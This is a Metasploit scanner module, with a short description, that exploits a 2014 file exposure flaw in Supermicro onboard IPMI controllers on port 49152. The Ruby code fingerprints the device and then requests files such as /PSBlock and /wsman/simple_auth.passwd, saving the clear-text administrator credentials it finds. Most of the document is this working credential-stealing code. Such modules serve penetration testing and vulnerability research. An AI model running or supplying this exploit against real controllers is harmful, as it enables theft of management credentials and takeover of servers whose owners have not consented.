This Metasploit module abuses a file exposure vulnerability accessible through the web interface on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker to obtain detailed device information and download data files containing the clear-text usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs were exposed to the internet with this vulnerability.
1ca6be3bd1442f15e9c436c21eb3f55a0d2466eb4cc5defa624000e1a17d568b
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'uri'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Supermicro Onboard IPMI Port 49152 Sensitive File Exposure',
'Description' => %q{
This module abuses a file exposure vulnerability accessible through the web interface
on port 49152 of Supermicro Onboard IPMI controllers. The vulnerability allows an attacker
to obtain detailed device information and download data files containing the clear-text
usernames and passwords for the controller. In May of 2014, at least 30,000 unique IPs
were exposed to the internet with this vulnerability.
},
'Author' =>
[
'Zach Wikholm <kestrel[at]trylinux.us>', # Discovery and analysis
'John Matherly <jmath[at]shodan.io>', # Internet-wide scan
'Dan Farmer <zen[at]fish2.com>', # Additional investigation
'hdm' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/'],
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
],
'DisclosureDate' => '2014-06-19'))
register_options(
[
Opt::RPORT(49152)
])
end
def is_supermicro?
res = send_request_cgi(
{
"uri" => "/IPMIdevicedesc.xml",
"method" => "GET"
})
if res && res.code == 200 && res.body.to_s =~ /supermicro/i
path = store_loot(
'supermicro.ipmi.devicexml',
'text/xml',
rhost,
res.body.to_s,
'IPMIdevicedesc.xml'
)
print_good("Stored the device description XML in #{path}")
return true
else
return false
end
end
def run_host(ip)
unless is_supermicro?
vprint_error("This does not appear to be a Supermicro IPMI controller")
return
end
candidates = %W{ /PSBlock /PSStore /PMConfig.dat /wsman/simple_auth.passwd }
candidates.each do |uri|
res = send_request_cgi(
{
"uri" => uri,
"method" => "GET"
})
next unless res
unless res.code == 200 && res.body.length > 0
vprint_status("Request for #{uri} resulted in #{res.code}")
next
end
path = store_loot(
'supermicro.ipmi.passwords',
'application/octet-stream',
rhost,
res.body.to_s,
uri.split('/').last
)
print_good("Password data from #{uri} stored to #{path}")
end
end
end